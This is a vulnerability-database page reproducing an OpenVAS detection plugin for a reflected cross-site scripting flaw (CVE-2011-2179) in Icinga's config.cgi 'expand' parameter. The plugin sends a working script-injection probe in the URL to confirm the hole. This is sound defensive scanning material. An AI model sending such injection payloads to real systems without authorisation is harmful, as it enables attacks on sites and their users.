Lucene search
+L

Icinga 'expand' Parameter XSS Vulnerability

🗓️ 07 Jun 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 28 Views

Icinga 'expand' Parameter Cross-Site Scripting Vulnerability in versions 1.4.0 and earlier allows attackers to execute arbitrary HTML and script code via the 'expand' parameter in cgi-bin/config.cgi

Related
Refs
Code
ReporterTitlePublishedViews
Family
amazon
Amazon
Medium: nagios
4 Mar 201200:00
amazon
nessus
Tenable Nessus
Amazon Linux AMI : nagios (ALAS-2012-50)
4 Sep 201300:00
nessus
nessus
Tenable Nessus
Fedora 15 : nagios-3.3.1-3.fc15 (2012-1583)
21 Feb 201200:00
nessus
nessus
Tenable Nessus
Fedora 16 : nagios-3.3.1-3.fc16 (2012-1592)
21 Feb 201200:00
nessus
nessus
Tenable Nessus
openSUSE Security Update : nagios (openSUSE-SU-2011:0836-1)
13 Jun 201400:00
nessus
nessus
Tenable Nessus
Ubuntu 10.04 LTS / 10.10 / 11.04 : nagios3 vulnerabilities (USN-1151-1)
16 Jun 201100:00
nessus
circl
Circl
CVE-2011-2179
1 Jun 201100:00
circl
cve
CVE
CVE-2011-2179
14 Jun 201117:00
cve
cvelist
Cvelist
CVE-2011-2179
14 Jun 201117:00
cvelist
debiancve
Debian CVE
CVE-2011-2179
14 Jun 201117:00
debiancve
Rows per page
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:icinga:icinga";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801895");
  script_version("2025-09-05T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
  script_cve_id("CVE-2011-2179");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("Icinga 'expand' Parameter XSS Vulnerability");

  script_xref(name:"URL", value:"https://dev.icinga.org/issues/1605");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/518218");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101904/SSCHADV2011-005.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_icinga_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("icinga/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");
  script_tag(name:"affected", value:"Icinga versions 1.4.0 and prior.");
  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  passed via the 'expand' parameter in cgi-bin/config.cgi, which allows attackers
  to execute arbitrary HTML and script code on the web server.");
  script_tag(name:"solution", value:"Upgrade to Icinga versions 1.4.1 or later.");
  script_tag(name:"summary", value:"Icinga is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://www.icinga.org/download/");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if (dir == "/") dir = "";

url = dir + "/cgi-bin/config.cgi?type=command&expand=<script>" +
            "alert(String.fromCharCode(88,83,83))</script>";

if(http_vuln_check(port:port, url:url, check_header: TRUE,
   pattern:"><script>alert\(String.fromCharCode\(88,83,83\)\)</script>"))
{
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2025 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 24.3
EPSS0.26037
28